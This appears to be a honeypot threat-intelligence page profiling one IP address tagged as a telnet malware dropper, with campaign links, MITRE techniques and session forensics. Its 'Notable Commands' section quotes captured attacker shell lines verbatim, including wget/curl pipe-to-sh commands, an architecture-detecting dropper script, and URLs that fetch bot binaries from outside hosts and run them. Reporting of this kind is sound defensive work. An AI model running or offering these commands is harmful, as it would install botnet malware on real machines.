IntrusionLabs IntrusionLabs
← Back to feed

79.116.218.231

TAGGED MALICIOUS how we decide →
Why: Our sensors observed malware dropper sessions · certainty: inferred
79-116-218-231.digimobil.es (digimobil.es) ✗ FCrDNS
Threat Confidence
62%
Assessment
Malware dropper: logs in and downloads payloads
  • Downloaded 15 files and ran 117 commands on the host.
  • Part of a 318-IP campaign probing the same targets.
Generated from the counts on this page by fixed rules; each line cites the number it rests on.
Location
🇪🇸 ES / Alcorcón
ASN
AS57269 · Digi Spain Telecom S.A
Cloud Provider
—
Total Events
181
Above average by volume
Agent Count
2
First / Last Seen
2026-10-28 02:04 — 2026-10-29 23:34
Attack Types
telnet:malware
MITRE ATT&CK Techniques
Initial Access
T1078
Execution
T1059.004
Defense Evasion
T1070.004
Discovery
T1082
Command and Control
T1105
External Corroboration
Not flagged by any external feeds
Campaigns
AS57269 Digi Spain Telecom S.A ASN Active medium 🇪🇸 ES
5 IPs 201 events
telnet:connectiontelnet:malware
2026-10-18 — ongoing · 5 IPs from the same network (Digi Spain Telecom S.A, AS57269) were active during overlapping time periods. Temporal …
Multi-Agent Scan SCAN Active medium
5 IPs 2989 events
2026-03-13 — ongoing · 5 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
285 IPs 809973 events
2026-03-13 — ongoing · 285 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
8 IPs 45776 events
2026-03-05 — ongoing · 8 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
205 IPs 466105 events
2026-02-28 — ongoing · 205 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
318 IPs 1052432 events
2026-02-28 — ongoing · 318 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
255 IPs 766002 events
2026-02-28 — ongoing · 255 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Session Forensics
malware_dropper ×8
Sessions
8 (8 with login)
Avg Depth Score
1.0
Commands Executed
117
Files Downloaded
15
Notable Commands
  • echo VANTA_TEST
  • stty -echo 2>/dev/null
  • cd /tmp
  • wget http://85.215.73.250:80/cats.sh -O - 2>/dev/null | sh &
  • curl -s http://85.215.73.250:80/cats.sh 2>/dev/null | sh &
  • busybox wget http://85.215.73.250:80/cats.sh -O /tmp/.c 2>/dev/null && sh /tmp/.c &
  • wget -q http://85.215.73.250:80/bot-linux-arm -O /tmp/.b 2>/dev/null && chmod 777 /tmp/.b && /tmp/.b &
  • #!/bin/sh C="85.215.73.250" A=$(uname -m 2>/dev/null) case "$A" in armv7l*|armv6l*|armv5l*|armv4l*|arm*) F="bot-linux-arm";; aarch64*|arm64*) F="bot-linux-arm64";; mipsel*) F="bot-linux-mipsle";; mips*) F="bot-linux-mips";; x86_64*|amd64*) F="bot-linux-amd64";; i686*|i586*|i386*) F="bot-linux-386";; *) F="bot-linux-arm";; esac cd /tmp rm -f .nyx 2>/dev/null wget http://$C/$F -O .nyx 2>/dev/null || curl http://$C/$F -o .nyx 2>/dev/null || busybox wget http://$C/$F -O .nyx 2>/dev/null if [ -s .nyx ]; then chmod 777 .nyx ./.nyx & fi rm -f .nyx 2>/dev/null
  • wget -q http://85.215.73.250:80/bot-linux-mips -O /tmp/.b 2>/dev/null && chmod 777 /tmp/.b && /tmp/.b &
  • wget -q http://85.215.73.250:80/bot-linux-mipsle -O /tmp/.b 2>/dev/null && chmod 777 /tmp/.b && /tmp/.b &
  • uname -m
  • rm -rf bot* .bot* 2>/dev/null
  • export SERVER_IP=176.65.139.201
  • export SERVER_PORT=443
  • wget http://176.65.139.201:80/bots/bot-linux-amd64 -O .bot 2>/dev/null || wget -q -O .bot http://176.65.139.201:80/bots/bot-linux-amd64 2>/dev/null
Download URLs
  • http://85.215.73.250:80/cats.sh
  • http://85.215.73.250/bot-linux-amd64
  • http://176.65.139.201:80/bots/bot-linux-amd64
Evidence Timeline
Malware Dropper 01151705692f w4m_singapore_01 · 2026-10-29 23:34
7 3 1 100%
Loading events...
Malware Dropper 11d1a3614252 greencloud_phx_01 · 2026-10-29 22:59
17 2 1 100%
Loading events...
Malware Dropper 888423f4672e greencloud_phx_01 · 2026-10-29 22:57
17 1 1 100%
Loading events...
Malware Dropper 33ce4b79cf50 greencloud_phx_01 · 2026-10-29 22:56
17 1 1 100%
Loading events...
Malware Dropper 62495b9341d4 greencloud_phx_01 · 2026-10-29 22:55
17 2 1 100%
Loading events...
Malware Dropper 1df37a8a51fd greencloud_phx_01 · 2026-10-29 22:55
17 2 1 100%
Loading events...
Malware Dropper 4c890f4d54f8 greencloud_phx_01 · 2026-10-29 22:36
17 2 1 100%
Loading events...
Malware Dropper 8526082a7adb w4m_singapore_01 · 2026-10-28 02:04
8 2 1 100%
Loading events...